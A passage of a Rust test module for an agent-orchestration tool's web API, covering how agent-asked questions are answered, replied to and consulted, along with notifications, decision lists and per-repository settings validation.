13541        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
13542    }
13543
13544    #[tokio::test]
13545    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
13546        let fx = Fixture::start().await;
13547        let id = ask(&fx, "No seat", &[]);
13548        let store = fx.questions();
13549        let before = std::fs::read(store.path_of(&id)).unwrap();
13550        let res = fx
13551            .post(
13552                &format!("/api/questions/{id}/say"),
13553                Some(r#"{"body":"hello"}"#),
13554            )
13555            .await;
13556        assert_eq!(res.status, 422, "{}", res.body);
13557        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13558        let res = fx
13559            .post(
13560                &format!("/api/questions/{id}/answer"),
13561                Some(r#"{"text":"hello"}"#),
13562            )
13563            .await;
13564        assert_eq!(res.status, 200, "{}", res.body);
13565        assert_eq!(
13566            store.get(&id).unwrap().resolution().as_deref(),
13567            Some("hello")
13568        );
13569    }
13570
13571    #[tokio::test]
13572    async fn saying_something_appends_a_turn_without_answering() {
13573        let fx = Fixture::start().await;
13574        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13575        fx.questions().beat(&id, ask::WaiterKind::Asker);
13576        let path = format!("/api/questions/{id}/say");
13577
13578        let res = fx
13579            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
13580            .await;
13581        assert_eq!(res.status, 200, "{}", res.body);
13582        let body = res.json();
13583        assert_eq!(body["status"], "open", "talking back is not a decision");
13584        assert_eq!(body["answer"], Value::Null);
13585        assert_eq!(body["thread"][0]["who"], "operator");
13586        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
13587        assert_eq!(body["waiting_on_agent"], true);
13588        // Still open, still counted, still exactly one question.
13589        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13590    }
13591
13592    #[tokio::test]
13593    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
13594        let fx = Fixture::start().await;
13595        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13596
13597        let list = fx.get("/api/questions").await.json();
13598        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
13599
13600        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
13601        assert_eq!(res.status, 409, "{}", res.body);
13602        let q = fx.questions().get(&id).unwrap();
13603        assert!(q.status.open());
13604        assert!(q.consult.is_none());
13605    }
13606
13607    #[tokio::test]
13608    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
13609        let fx = Fixture::start().await;
13610        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13611        let cfg = Config {
13612            agents: vec![crate::config::AgentSpec {
13613                id: "mock".to_owned(),
13614                kind: crate::config::AgentKind::Command,
13615                model: None,
13616                command: vec!["true".to_owned()],
13617                extra_args: Vec::new(),
13618                env: Default::default(),
13619                prompt_delivery: None,
13620                max_turn_secs: None,
13621            }],
13622            ..Config::default()
13623        };
13624        let talk = crate::talk::begin(
13625            &fx.talks(),
13626            &cfg,
13627            fx.home.path().to_path_buf(),
13628            Some("mock"),
13629        )
13630        .unwrap();
13631        let mut task = Task::new(
13632            "t".to_owned(),
13633            "Do it".to_owned(),
13634            PathBuf::from("/repo/magi"),
13635            Source::Agent {
13636                run: talk.id.clone(),
13637                node: crate::queue::CHAT_NODE.to_owned(),
13638            },
13639        );
13640        task.start("20260902-000000-beef".to_owned());
13641        fx.queue().put(&mut task).unwrap();
13642
13643        let list = fx.get("/api/questions").await.json();
13644        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13645        assert_eq!(
13646            list[0]["choices"],
13647            serde_json::json!(["SQLite", "Redis"]),
13648            "the hand-over is never a choice"
13649        );
13650        fx.questions()
13651            .update(&id, |q| {
13652                q.node = crate::land::APPROVAL_NODE.into();
13653                q.choices = vec!["merge".into(), "hold".into()];
13654                Ok(())
13655            })
13656            .unwrap();
13657        let list = fx.get("/api/questions").await.json();
13658        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13659        assert_eq!(list[0]["can_consult_chat"], true);
13660        fx.questions()
13661            .update(&id, |q| {
13662                q.node = crate::bump::NOTICE_NODE.into();
13663                Ok(())
13664            })
13665            .unwrap();
13666        let list = fx.get("/api/questions").await.json();
13667        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13668        assert_eq!(list[0]["can_consult_chat"], false);
13669    }
13670
13671    #[tokio::test]
13672    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
13673        let fx = Fixture::start().await;
13674        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13675        fx.questions()
13676            .update(&id, |q| {
13677                q.node = crate::land::APPROVAL_NODE.into();
13678                q.choices = vec!["merge".into(), "hold".into()];
13679                Ok(())
13680            })
13681            .unwrap();
13682        let cfg = Config {
13683            agents: vec![crate::config::AgentSpec {
13684                id: "mock".to_owned(),
13685                kind: crate::config::AgentKind::Command,
13686                model: None,
13687                command: vec!["true".to_owned()],
13688                extra_args: Vec::new(),
13689                env: Default::default(),
13690                prompt_delivery: None,
13691                max_turn_secs: None,
13692            }],
13693            ..Config::default()
13694        };
13695        // Not a git working tree, so its `magi.toml` is read from disk.
13696        let repo = fx.home.path().join("chat-repo");
13697        std::fs::create_dir_all(&repo).unwrap();
13698        let toml = repo.join("magi.toml");
13699        std::fs::write(&toml, "this is = = not toml").unwrap();
13700        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
13701        let mut task = Task::new(
13702            "t".to_owned(),
13703            "Do it".to_owned(),
13704            PathBuf::from("/repo/magi"),
13705            Source::Agent {
13706                run: talk.id.clone(),
13707                node: crate::queue::CHAT_NODE.to_owned(),
13708            },
13709        );
13710        task.start("20260902-000000-beef".to_owned());
13711        fx.queue().put(&mut task).unwrap();
13712
13713        let path = format!("/api/questions/{id}/consult");
13714        let res = fx.post(&path, None).await;
13715        assert!(res.status >= 400, "{}", res.body);
13716        assert!(fx.questions().get(&id).unwrap().consult.is_none());
13717        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
13718
13719        std::fs::write(&toml, "").unwrap();
13720        let res = fx.post(&path, None).await;
13721        assert_eq!(res.status, 202, "{}", res.body);
13722        assert!(fx.questions().get(&id).unwrap().consult.is_some());
13723        let q = fx.questions().get(&id).unwrap();
13724        assert!(q.status.open());
13725        assert!(q.answer.is_none());
13726        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13727        assert_eq!(res.json()["can_consult_chat"], true);
13728        let list = fx.get("/api/questions").await.json();
13729        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13730        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
13731
13732        let res = fx
13733            .post(
13734                &format!("/api/questions/{id}/answer"),
13735                Some(r#"{"choice":"hold"}"#),
13736            )
13737            .await;
13738        assert_eq!(res.status, 200, "{}", res.body);
13739        assert_eq!(res.json()["answer"]["choice"], "hold");
13740        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13741        assert_eq!(res.json()["can_consult_chat"], false);
13742        assert_eq!(fx.post(&path, None).await.status, 409);
13743
13744        let mut talk = fx.talks().get(&talk.id).unwrap();
13745        // This test closes the history view, not an unconsumed consultation.
13746        crate::talk::clear_pending(&mut talk, &fx.talks()).unwrap();
13747        crate::talk::close(&mut talk, &fx.talks()).unwrap();
13748        let list = fx.get("/api/questions").await.json();
13749        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13750        assert_eq!(list[0]["origin_chat_closed"], true);
13751        assert_eq!(list[0]["can_consult_chat"], false);
13752
13753        fx.talks().remove(&talk.id).unwrap();
13754        let list = fx.get("/api/questions").await.json();
13755        assert_eq!(list[0]["origin_chat"], Value::Null);
13756        assert_eq!(list[0]["origin_chat_closed"], false);
13757        assert_eq!(list[0]["can_consult_chat"], false);
13758    }
13759
13760    #[tokio::test]
13761    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
13762        let fx = Fixture::start().await;
13763        let store = fx.questions();
13764        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13765        store.beat(&id, ask::WaiterKind::Asker);
13766        assert_eq!(
13767            fx.get("/api/health").await.json()["questions_needs_owner"],
13768            1
13769        );
13770
13771        // The owner asks back instead of deciding: the ask bar, the nav badge
13772        // and the title must stop naming this question, because there is
13773        // nothing to decide until the agent answers - `status` alone cannot
13774        // say that, which is the whole reason `questions_needs_owner` exists
13775        // alongside `questions_open`.
13776        let res = fx
13777            .post(
13778                &format!("/api/questions/{id}/say"),
13779                Some(r#"{"body":"why not Postgres?"}"#),
13780            )
13781            .await;
13782        assert_eq!(res.status, 200, "{}", res.body);
13783        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13784        assert_eq!(
13785            fx.get("/api/health").await.json()["questions_needs_owner"],
13786            0,
13787            "waiting on the agent is not waiting on the owner"
13788        );
13789
13790        // `magi ask --thread` replying is what brings the owner count back -
13791        // the same event that would resume the CLI call blocked in `magi
13792        // ask`.
13793        let mut q = store.get(&id).expect("get");
13794        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
13795            .expect("reply");
13796        store.put(&mut q).expect("put");
13797        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13798        assert_eq!(
13799            fx.get("/api/health").await.json()["questions_needs_owner"],
13800            1,
13801            "the agent's reply is what should light the banner back up"
13802        );
13803    }
13804
13805    #[tokio::test]
13806    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
13807        let fx = Fixture::start().await;
13808        let store = fx.questions();
13809
13810        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13811        let res = fx
13812            .post(
13813                &format!("/api/questions/{empty_id}/say"),
13814                Some(r#"{"body":"   "}"#),
13815            )
13816            .await;
13817        assert_eq!(res.status, 400, "{}", res.body);
13818
13819        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13820        let mut answered = store.get(&answered_id).expect("get");
13821        answered
13822            .answer(Answer::Choice("SQLite".to_owned()))
13823            .expect("answer");
13824        store.put(&mut answered).expect("put");
13825        let res = fx
13826            .post(
13827                &format!("/api/questions/{answered_id}/say"),
13828                Some(r#"{"body":"still there?"}"#),
13829            )
13830            .await;
13831        assert_eq!(res.status, 409, "{}", res.body);
13832
13833        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13834        let mut abandoned = store.get(&abandoned_id).expect("get");
13835        abandoned.abandon("timed out");
13836        store.put(&mut abandoned).expect("put");
13837        let res = fx
13838            .post(
13839                &format!("/api/questions/{abandoned_id}/say"),
13840                Some(r#"{"body":"still there?"}"#),
13841            )
13842            .await;
13843        assert_eq!(res.status, 409, "{}", res.body);
13844    }
13845
13846    #[tokio::test]
13847    async fn historical_release_2029_api_retains_answer_and_refuses_controls() {
13848        let fx = Fixture::start().await;
13849        let questions = fx.questions();
13850        let mut q = Question::new(
13851            String::new(),
13852            crate::bump::NOTICE_NODE.into(),
13853            "release-watch".into(),
13854            "Release PR approval".into(),
13855            "Saved head".into(),
13856            vec!["merge".into(), "hold".into()],
13857        );
13858        q.id = "20261109-014940-871849981cd969b1-0000000000000000-2029".into();
13859        q.merge_target = Some(crate::merge_decision::Target {
13860            pr: "https://example.test/mebae/pull/100".into(),
13861            head: "4d5a46f99a678608d2b883498d8bebd9399c0261".into(),
13862            language: "en".into(),
13863        });
13864        q.answer(Answer::Choice("merge".into())).unwrap();
13865        q.answer_delivered = true;
13866        questions.put(&mut q).unwrap();
13867        let dir = fx.home.path().join("notifications/task-chat-migration-v1");
13868        std::fs::create_dir_all(&dir).unwrap();
13869        std::fs::write(
13870            dir.join("state.json"),
13871            serde_json::to_vec(&serde_json::json!({
13872                "schema": 1, "sources": [q.id], "pending": [q.id]
13873            }))
13874            .unwrap(),
13875        )
13876        .unwrap();
13877        let bytes = std::fs::read(questions.path_of(&q.id)).unwrap();
13878        for migrated in [false, true] {
13879            if migrated {
13880                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &questions, fx.home.path());
13881            }
13882            for endpoint in ["/api/questions", "/api/questions/core"] {
13883                let response = fx.get(endpoint).await;
13884                assert_eq!(response.status, 200);
13885                let rows = response.json();
13886                let row = rows
13887                    .as_array()
13888                    .unwrap()
13889                    .iter()
13890                    .find(|r| r["id"] == q.id)
13891                    .unwrap();
13892                assert_eq!(row["status"], "answered");
13893                assert_eq!(row["answer"]["choice"], "merge");
13894                assert_eq!(row["can_answer"], false);
13895                assert_eq!(row["history_only"], true);
13896            }
13897            let answer = fx
13898                .post(
13899                    &format!("/api/questions/{}/answer", q.id),
13900                    Some(r#"{"choice":"merge"}"#),
13901                )
13902                .await;
13903            assert_eq!(answer.status, 409, "{}", answer.body);
13904            assert_eq!(std::fs::read(questions.path_of(&q.id)).unwrap(), bytes);
13905        }
13906    }
13907
13908    #[tokio::test]
13909    async fn an_answer_the_question_does_not_offer_is_refused() {
13910        let fx = Fixture::start().await;
13911        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13912        let path = format!("/api/questions/{id}/answer");
13913
13914        for body in [
13915            r#"{"choice":"Postgres"}"#,
13916            r#"{"text":"whatever you think"}"#,
13917            r#"{"choice":"Redis","text":"both"}"#,
13918            r#"{}"#,
13919        ] {
13920            let res = fx.post(&path, Some(body)).await;
13921            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
13922            assert!(res.json()["error"].is_string(), "{}", res.body);
13923        }
13924        // Nothing above may have answered it.
13925        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13926    }
13927
13928    #[tokio::test]
13929    async fn a_free_text_question_takes_text_and_not_a_choice() {
13930        let fx = Fixture::start().await;
13931        let id = ask(&fx, "What should the flag be called?", &[]);
13932        fx.questions().beat(&id, ask::WaiterKind::Asker);
13933        let path = format!("/api/questions/{id}/answer");
13934
13935        assert_eq!(
13936            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
13937            400
13938        );
13939        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
13940        assert_eq!(res.status, 200, "{}", res.body);
13941        assert_eq!(res.json()["answer"]["text"], "--json");
13942    }
13943
13944    #[tokio::test]
13945    async fn an_unknown_question_is_a_json_404() {
13946        let fx = Fixture::start().await;
13947        let res = fx
13948            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
13949            .await;
13950        assert_eq!(res.status, 404, "{}", res.body);
13951        assert!(res.json()["error"].is_string());
13952    }
13953
13954    #[tokio::test]
13955    async fn notifications_resolve_live_questions_without_changing_saved_notices() {
13956        let fx = Fixture::start().await;
13957        let questions = Questions::at(fx.home.path().join("questions"));
13958        let store = Notices::at(fx.home.path().join("notifications"));
13959        let mut q = ask::Question::new(
13960            "t1".into(),
13961            "conduct".into(),
13962            "conductor".into(),
13963            "Continue?".into(),
13964            String::new(),
13965            Vec::new(),
13966        );
13967        questions.put(&mut q).unwrap();
13968        let mut n = Notice::warn("task:t1", "Task t1 is held.");
13969        n.covered_by = Some(q.id.clone());
13970        let n = store.raise(n).unwrap();
13971        let listed = fx.get("/api/notifications").await.json();
13972        assert_eq!(listed["items"][0]["answerable_question"], q.id);
13973        questions
13974            .update(&q.id, |q| {
13975                q.abandon("run gone");
13976                Ok(())
13977            })
13978            .unwrap();
13979        let listed = fx.get("/api/notifications").await.json();
13980        assert!(listed["items"][0]["answerable_question"].is_null());
13981        assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
13982        assert!(
13983            !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
13984                .unwrap()
13985                .contains("answerable_question")
13986        );
13987    }
13988
13989    #[tokio::test]
13990    async fn decisions_list_reports_unreadable_records_without_hiding_pending_items() {
13991        let fx = Fixture::start().await;
13992        let outbox = crate::task_inquiry::Outbox::at(fx.home.path());
13993        let task = crate::queue::Task::new(
13994            "work".into(),
13995            "work".into(),
13996            fx.home.path().into(),
13997            crate::queue::Source::Human,
13998        );
13999        let inquiry = outbox
14000            .file(&task, None, "test".into(), "入力待ち", "詳細")
14001            .unwrap();
14002        let root = fx.home.path().join("notifications/task-inquiries");
14003        std::fs::write(root.join("broken.json"), "{").unwrap();
14004        let mut unsupported = inquiry.clone();
14005        unsupported.id = "unsupported".into();
14006        unsupported.schema = 99;
14007        std::fs::write(
14008            root.join("unsupported.json"),
14009            serde_json::to_vec(&unsupported).unwrap(),
14010        )
14011        .unwrap();
14012        let before = std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap();
14013        for _ in 0..2 {
14014            let response = fx.get("/api/decisions").await;
14015            assert_eq!(response.status, 200, "{}", response.body);
14016            let listed = response.json();
14017            assert_eq!(listed["unreadable"], 2);
14018            assert_eq!(listed["items"].as_array().unwrap().len(), 1);
14019            assert_eq!(listed["items"][0]["id"], inquiry.id);
14020            assert_eq!(listed["items"][0]["decision"]["status"], "awaiting_owner");
14021        }
14022        assert_eq!(
14023            before,
14024            std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap()
14025        );
14026        assert!(outbox.list().is_err());
14027        std::fs::remove_file(root.join("broken.json")).unwrap();
14028        std::fs::remove_file(root.join("unsupported.json")).unwrap();
14029        assert_eq!(fx.get("/api/decisions").await.json()["unreadable"], 0);
14030    }
14031
14032    #[tokio::test]
14033    async fn decisions_list_exposes_migration_errors_without_acknowledging_them() {
14034        let fx = Fixture::start().await;
14035        let root = fx.home.path().join("notifications/task-chat-migration-v1");
14036        std::fs::create_dir_all(&root).unwrap();
14037        let journal = serde_json::json!({
14038            "schema": 1, "pending": ["saved-inquiry"],
14039            "errors": {"saved-inquiry": "Source is unreadable; no action executed"}
14040        });
14041        let bytes = serde_json::to_vec(&journal).unwrap();
14042        std::fs::write(root.join("state.json"), &bytes).unwrap();
14043        for _ in 0..2 {
14044            let response = fx.get("/api/decisions").await;
14045            assert_eq!(response.status, 200);
14046            let listed = response.json();
14047            assert_eq!(listed["migration_errors"][0]["id"], "saved-inquiry");
14048            assert!(listed["items"].as_array().unwrap().is_empty());
14049            assert_eq!(std::fs::read(root.join("state.json")).unwrap(), bytes);
14050        }
14051        // An unreadable journal must not make the endpoint hide the list.
14052        std::fs::write(root.join("state.json"), b"{").unwrap();
14053        let response = fx.get("/api/decisions").await;
14054        assert_eq!(response.status, 200);
14055        assert_eq!(response.json()["migration_errors"][0]["id"], "migration");
14056    }
14057
14058    #[tokio::test]
14059    async fn notifications_list_read_dismiss_and_health_agree() {
14060        let fx = Fixture::start().await;
14061        let store = Notices::at(fx.home.path().join("notifications"));
14062        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
14063        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
14064
14065        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
14066        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
14067
14068        store
14069            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
14070            .unwrap();
14071        let health = fx.get("/api/health").await.json();
14072        assert_eq!(health["notifications_unread"], 2);
14073        assert_ne!(
14074            health["notifications_rev"], rev0,
14075            "the badge must move live"
14076        );
14077
14078        let listed = fx.get("/api/notifications").await.json();
14079        assert_eq!(listed["unread"], 2);
14080        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
14081        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
14082
14083        let read = fx
14084            .post(&format!("/api/notifications/{}/read", a.id), None)
14085            .await;
14086        assert_eq!(read.status, 200, "{}", read.body);
14087        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
14088
14089        let gone = fx
14090            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
14091            .await;
14092        assert_eq!(gone.status, 200, "{}", gone.body);
14093        let listed = fx.get("/api/notifications").await.json();
14094        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
14095        assert_eq!(listed["unread"], 0);
14096
14097        store.raise(Notice::info("x", "again")).unwrap();
14098        let all = fx.post("/api/notifications/read-all", None).await;
14099        assert_eq!(all.status, 200, "{}", all.body);
14100        assert_eq!(all.json()["marked"], 1);
14101        assert_eq!(
14102            fx.get("/api/health").await.json()["notifications_unread"],
14103            0
14104        );
14105
14106        let missing = fx.post("/api/notifications/nope/read", None).await;
14107        assert_eq!(missing.status, 404, "{}", missing.body);
14108        assert!(missing.json()["error"].is_string());
14109    }
14110
14111    /// New work reaches the queue through `magi task add`, a standing talk's
14112    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
14113    /// so the compose form and that route are gone. The tests that covered
14114    /// that route's validation went with it, and nothing was left asserting
14115    /// it stays gone — so a re-added handler would silently let the phone
14116    /// file briefs no one validated.
14117    #[tokio::test]
14118    async fn a_task_cannot_be_filed_over_the_phone_directly() {
14119        let f = Fixture::start().await;
14120
14121        let res = f
14122            .post(
14123                "/api/queue",
14124                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
14125            )
14126            .await;
14127
14128        assert_eq!(
14129            res.status, 405,
14130            "POST /api/queue must not be a route: {}",
14131            res.body
14132        );
14133        assert!(
14134            f.queue().list().is_empty(),
14135            "a task filed by a route that does not exist must not reach the disk"
14136        );
14137        // The path itself is still served — the Queue view reads it — and the
14138        // per-task controls are untouched by the entry being removed.
14139        assert_eq!(f.get("/api/queue").await.status, 200);
14140    }
14141
14142    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
14143    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
14144        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
14145            .expect("checkout dir");
14146    }
14147
14148    /// Two command agents, so a config needs no real CLI.
14149    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
14150
14151    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
14152        let tmp = TempDir::new().expect("tempdir");
14153        let repo = tmp.path().join("repo");
14154        std::fs::create_dir_all(&repo).expect("repo dir");
14155        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
14156        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
14157        if let Some(text) = machine_toml {
14158            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
14159            std::fs::write(&machine, text).expect("machine toml");
14160        }
14161        (tmp, repo, machine)
14162    }
14163
14164    async fn settings_checkout(path: &FsPath, text: &str) {
14165        std::fs::create_dir_all(path).unwrap();
14166        std::fs::write(path.join("magi.toml"), text).unwrap();
14167        for args in [
14168            vec!["init", "-b", "main"],
14169            vec!["add", "magi.toml"],
14170            vec![
14171                "-c",
14172                "user.name=Test",
14173                "-c",
14174                "user.email=test@example.invalid",
14175                "commit",
14176                "-m",
14177                "fixture",
14178            ],
14179            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
14180            vec![
14181                "symbolic-ref",
14182                "refs/remotes/origin/HEAD",
14183                "refs/remotes/origin/main",
14184            ],
14185        ] {
14186            crate::git::git(path, &args).await.unwrap();
14187        }
14188    }
14189
14190    #[tokio::test]
14191    async fn settings_context_handlers_validate_and_save_without_a_socket() {
14192        let (tmp, repo, machine) =
14193            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
14194        let root = tmp.path().join("roots");
14195        let selected = root.join("host/owner/selected");
14196        settings_checkout(
14197            &selected,
14198            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
14199        )
14200        .await;
14201        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
14202        let before = std::fs::read(&machine).unwrap();
14203        let ui = Arc::new(
14204            Ui::new(
14205                Queue::at(tmp.path().join("queue")),
14206                Questions::at(tmp.path().join("questions")),
14207                Talks::at(tmp.path().join("talks")),
14208                tmp.path().join("runs"),
14209                tmp.path().to_path_buf(),
14210                repo.clone(),
14211            )
14212            .with_machine_config(Some(machine.clone())),
14213        );
14214        let query = || {
14215            Query(SettingsQuery {
14216                repo: Some(selected.clone()),
14217            })
14218        };
14219        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
14220        assert!(v.error.is_none(), "{:?}", v.error);
14221        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
14222        assert_eq!(conductor.source, "repo");
14223        assert_eq!(
14224            conductor.machine_value,
14225            Some(toml::Value::String("a".into()))
14226        );
14227        assert!(!conductor.editable);
14228        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
14229        assert_eq!(
14230            judges.count.as_ref().unwrap().machine_value,
14231            Some(toml::Value::Integer(1))
14232        );
14233        assert!(
14234            !v.roles
14235                .iter()
14236                .find(|r| r.key == "reviewers")
14237                .unwrap()
14238                .editable
14239        );
14240        let unknown = || {
14241            Query(SettingsQuery {
14242                repo: Some(tmp.path().to_path_buf()),
14243            })
14244        };
14245        assert_eq!(
14246            settings_get(State(ui.clone()), unknown())
14247                .await
14248                .unwrap_err()
14249                .status,
14250            StatusCode::UNPROCESSABLE_ENTITY
14251        );
14252        let body = || {
14253            Ok(Json(RolesBody {
14254                revision: v.revision.clone(),
14255                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
14256                counts: Default::default(),
14257            }))
14258        };
14259        assert_eq!(
14260            settings_put_roles(State(ui.clone()), unknown(), body())
14261                .await
14262                .unwrap_err()
14263                .status,
14264            StatusCode::UNPROCESSABLE_ENTITY
14265        );
14266        assert_eq!(std::fs::read(&machine).unwrap(), before);
14267        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
14268            .await
14269            .unwrap();
14270        assert_eq!(
14271            saved.repo,
14272            selected.canonicalize().unwrap().display().to_string()
14273        );
14274        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14275        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14276        // A cache miss refreshes the stable candidate list exactly for validation.
14277        let fresh = root.join("host/owner/fresh");
14278        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
14279        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
14280            .await
14281            .unwrap();
14282        assert_eq!(fresh_view.repositories.len(), 3);
14283    }
14284
14285    #[tokio::test]
14286    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
14287        let (tmp, repo, machine) = settings_dirs(
14288            "[roles]\nreviewers = [\"a\"]\n",
14289            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
14290        );
14291        let root = tmp.path().join("roots");
14292        let selected = root.join("host/owner/selected");
14293        settings_checkout(
14294            &selected,
14295            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
14296        )
14297        .await;
14298        let broken = root.join("host/owner/broken");
14299        settings_checkout(&broken, "[roles\nbroken").await;
14300        let machine_text = format!(
14301            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
14302            toml::Value::String(root.display().to_string())
14303        );
14304        std::fs::write(&machine, &machine_text).unwrap();
14305        let originals: Vec<_> = [&repo, &selected, &broken]
14306            .iter()
14307            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
14308            .collect();
14309        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14310        let default = f.get("/api/settings").await.json();
14311        assert_eq!(
14312            default["repo"],
14313            repo.canonicalize().unwrap().display().to_string()
14314        );
14315        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
14316        let query = format!("?repo={}", selected.display());
14317        let res = f.get(&format!("/api/settings{query}")).await;
14318        assert_eq!(res.status, 200, "{}", res.body);
14319        let v = res.json();
14320        assert!(v["error"].is_null(), "{v}");
14321        assert_eq!(v["repositories"], default["repositories"]);
14322        let role = |key: &str| {
14323            v["roles"]
14324                .as_array()
14325                .unwrap()
14326                .iter()
14327                .find(|r| r["key"] == key)
14328                .unwrap()
14329        };
14330        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
14331        assert_eq!(role("advisors")["source"], "repo");
14332        assert_eq!(role("advisors")["editable"], false);
14333        assert!(role("advisors")["machine_value"].is_null());
14334        assert_eq!(role("judges")["count"]["value"], 2);
14335        assert_eq!(role("judges")["count"]["machine_value"], 1);
14336        assert_eq!(role("judges")["count"]["source"], "repo");
14337        let source = role("judges")["count"]["source_path"].as_str().unwrap();
14338        assert!(
14339            source.contains("origin/main") && !source.contains("magi/config/"),
14340            "{source}"
14341        );
14342        assert_eq!(
14343            role("reviewers")["editable"],
14344            false,
14345            "default context outside roots must protect its declarations"
14346        );
14347        let body =
14348            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
14349        let unknown = format!("?repo={}", tmp.path().display());
14350        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
14351        assert_eq!(
14352            f.put(&format!("/api/settings/roles{unknown}"), &body)
14353                .await
14354                .status,
14355            422
14356        );
14357        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
14358        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
14359            .to_string();
14360        assert_eq!(
14361            f.put(&format!("/api/settings/roles{query}"), &refuse)
14362                .await
14363                .status,
14364            422
14365        );
14366        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
14367        assert_eq!(saved.status, 200, "{}", saved.body);
14368        assert_eq!(saved.json()["repo"], v["repo"]);
14369        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14370        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14371        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
